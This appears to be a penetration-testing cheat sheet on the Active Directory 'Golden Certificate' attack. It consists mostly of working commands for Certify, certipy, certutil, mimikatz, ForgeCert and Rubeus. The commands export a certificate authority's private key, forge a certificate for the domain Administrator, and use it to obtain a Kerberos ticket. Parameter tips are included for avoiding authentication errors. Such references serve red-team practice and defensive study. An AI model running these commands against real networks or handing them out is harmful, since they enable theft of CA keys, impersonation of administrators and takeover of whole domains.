Active Directory - Golden Certificate
contents
A Golden Certificate is a maliciously crafted certificate that an attacker generates using the CA’s private key.
Obtain CA certificate#
Export the CA certificate including the private key:
Certify.exe manage-self --dump-certscertipy ca -u 'administrator@corp.local' -p 'Passw0rd!' -ns '10.10.10.10' -target 'CA.CORP.LOCAL' -config 'CA.CORP.LOCAL\CORP-CA' -backup- Open
certsrv.msc - Right click the CA ->
All Tasks->Back up CA... - Follow the wizard but make sure to check
Private key and CA certificate
- Open
- Open
certlm.msc - Go to
Personal->Certificates - Right click the CA signing certificate ->
All Tasks->Export - Follow the wizard but make sure to choose
Yes, export the private key
- Open
certutil -backupKey -f -p SuperSecurePassw0rd! C:\Windows\Tasks\CaBackupFoldermimikatz.exe "crypto::capi" "crypto::cng" "crypto::certificates /export"
Forge Golden Certificates#
Forge a certificate of a target principal:
Certify.exe forge --ca-cert <pfx-path/base64-pfx> --upn Administrator --sid S-1-5-21-976219687-1556195986-4104514715-500ForgeCert.exe --CaCertPath "ca.pfx" --CaCertPassword "Password" --Subject "CN=User" --SubjectAltName "administrator@domain.local" --NewCertPath "administrator.pfx" --NewCertPassword "Password"certipy forge -ca-pfx 'CORP-CA.pfx' -upn 'administrator@corp.local' -sid 'S-1-5-21-...-500' -crl 'ldap:///' certipy forge -template 'attacker.pfx' -ca-pfx 'CORP-CA.pfx' -upn 'administrator@corp.local' -sid 'S-1-5-21-...-500'
:warning: Useful parameters when generating a golden certificate.
-crl: If the-crloption is omitted when forging, authentication might fail. While the KDC doesn’t typically perform an active CRL lookup during initial TGT issuance for performance reasons, it does often check for the presence of a CDP extension in the certificate. Its absence can lead to aKDC_ERROR_CLIENT_NOT_TRUSTEDerror.-template 'attacker.pfx': Certipy will copy extensions (like Key Usage, basic constraints, AIA, etc.) from attacker.pfx into the new forged certificate, while still setting the subject, UPN, and SID as specified.-subject "CN=xyz-CA-1, DC=xyz, DC=htb": set the Distinguished Name for the certificate
Request a TGT#
Rubeus.exe asktgt /user:Administrator /domain:dumpster.fire /certificate:<pfx-path/base64-pfx>certipy auth -pfx 'administrator_forged.pfx' -dc-ip '10.10.10.10'